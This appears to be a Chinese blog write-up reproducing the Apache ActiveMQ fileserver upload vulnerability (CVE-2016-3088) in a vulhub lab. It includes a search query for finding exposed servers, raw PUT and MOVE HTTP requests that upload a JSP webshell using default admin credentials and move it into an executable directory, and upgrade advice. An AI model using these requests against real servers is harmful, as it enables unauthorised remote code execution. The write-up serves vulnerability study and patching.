【漏洞复现】ActiveMQ文件上传漏洞(CVE-2016-3088)

Nx01 产品简介

        Apache ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件。ActiveMQ是消息队列服务,是面向消息中间件(MOM)的最终实现,它为企业消息传递提供高可用、出色性能、可扩展、稳定和安全保障。

Nx02 漏洞描述

        Apache ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件。Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。2016年4月14日,国外安全研究人员 Simon Zuckerbraun 曝光 ActiveMQ Fileserver 存在多个安全漏洞,可使远程攻击者用恶意代码替代Web应用,在受影响系统上执行远程代码(CVE-2016-3088)。

Nx03 产品主页

hunter-query: web.title="Apache ActiveMQ"

Nx04 漏洞复现

1.vulhub启动靶场。

2.确定当前系统路径/admin/test/systemProperties.jsp

3.上传webshell 返回204 fileserver 路径下不解析。

PUT /fileserver/2.txt HTTP/1.1
Host: {
  {Hostname}}
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 397

<%@ page import="java.io.*" %>

4.移动webshell到可解析目录api下。

MOVE /fileserver/2.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/s.jsp
Host: {
  {Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: JSESSIONID=1xg7iymt54sps2nswn18zrh7h
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Cache-Control: max-age=0

5.访问/api/s.jsp执行命令。

Nx05 修复建议

ActiveMQ Fileserver的功能在5.14.0及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2024-01-10 11:30:03       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-01-10 11:30:03       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-01-10 11:30:03       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-01-10 11:30:03       20 阅读

热门阅读

  1. 2024系统分析师---论软件系统架构风格

    2024-01-10 11:30:03       32 阅读
  2. 机器学习 -- 贝叶斯决策理论

    2024-01-10 11:30:03       39 阅读
  3. API的介绍

    2024-01-10 11:30:03       39 阅读
  4. git stash 命令详解

    2024-01-10 11:30:03       64 阅读
  5. redis(1)

    2024-01-10 11:30:03       38 阅读
  6. MATLAB中slist函数用法

    2024-01-10 11:30:03       33 阅读
  7. linux学习笔记

    2024-01-10 11:30:03       25 阅读
  8. 前端常用js、css效果

    2024-01-10 11:30:03       35 阅读
  9. C++经典程序(2)

    2024-01-10 11:30:03       34 阅读
  10. 《微信小程序开发从入门到实战》学习七十七

    2024-01-10 11:30:03       39 阅读
  11. Rust基础类型之布尔类型和字符

    2024-01-10 11:30:03       36 阅读
  12. Electron快速上手

    2024-01-10 11:30:03       39 阅读
  13. Flink编程实践

    2024-01-10 11:30:03       35 阅读
  14. docker环境调用mysqldump进行数据备份

    2024-01-10 11:30:03       30 阅读